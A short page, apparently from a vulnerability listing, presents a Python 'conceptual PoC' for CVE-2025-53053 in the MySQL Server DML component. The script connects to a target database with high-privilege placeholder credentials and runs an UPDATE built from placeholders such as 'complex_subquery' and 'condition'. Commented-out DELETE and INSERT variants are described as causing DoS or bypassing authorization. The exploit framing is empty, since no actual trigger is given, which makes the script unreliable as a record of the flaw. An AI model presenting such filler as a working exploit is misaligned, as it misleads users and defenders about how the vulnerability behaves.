CVE-2025-53053 Oracle MySQL Server DML组件安全漏洞

# CVE-2025-53053 - Oracle MySQL Server DML Component Vulnerability PoC # This is a conceptual PoC demonstrating the vulnerability pattern # Note: Actual exploitation requires high-privilege database credentials import mysql.connector from mysql.connector import errorcode # Configuration - requires high privilege credentials config = { 'user': 'admin_user', # High privileged MySQL user required 'password': 'password', 'host': 'target_mysql_host', 'port': 3306, 'database': 'test_db' } def exploit_dml_vulnerability(): """ Exploit CVE-2025-53053: MySQL Server DML Component Vulnerability The vulnerability exists in the DML component handling specific operations. Can result in DoS (hang/crash) or unauthorized data modification. """ try: conn = mysql.connector.connect(**config) cursor = conn.cursor() # Trigger the vulnerability through crafted DML operations # The specific trigger depends on the affected MySQL version # Example: Crafted UPDATE statement that triggers the vulnerability crafted_sql = """ UPDATE target_table t1 SET column1 = (SELECT complex_subquery) WHERE EXISTS (SELECT 1 FROM related_table WHERE condition); """ cursor.execute(crafted_sql) conn.commit() # Alternative: Crafted DELETE that may cause DoS # crafted_sql = "DELETE FROM large_table WHERE complex_condition;" # Alternative: Crafted INSERT bypassing authorization # crafted_sql = "INSERT INTO restricted_table VALUES (...);" except mysql.connector.Error as err: if err.errno == errorcode.CR_SERVER_LOST: print("Server connection lost - possible DoS triggered") else: print(f"Error: {err}") finally: if 'conn' in locals() and conn.is_connected(): cursor.close() conn.close() if __name__ == "__main__": print("CVE-2025-53053 PoC - For authorized security testing only") exploit_dml_vulnerability()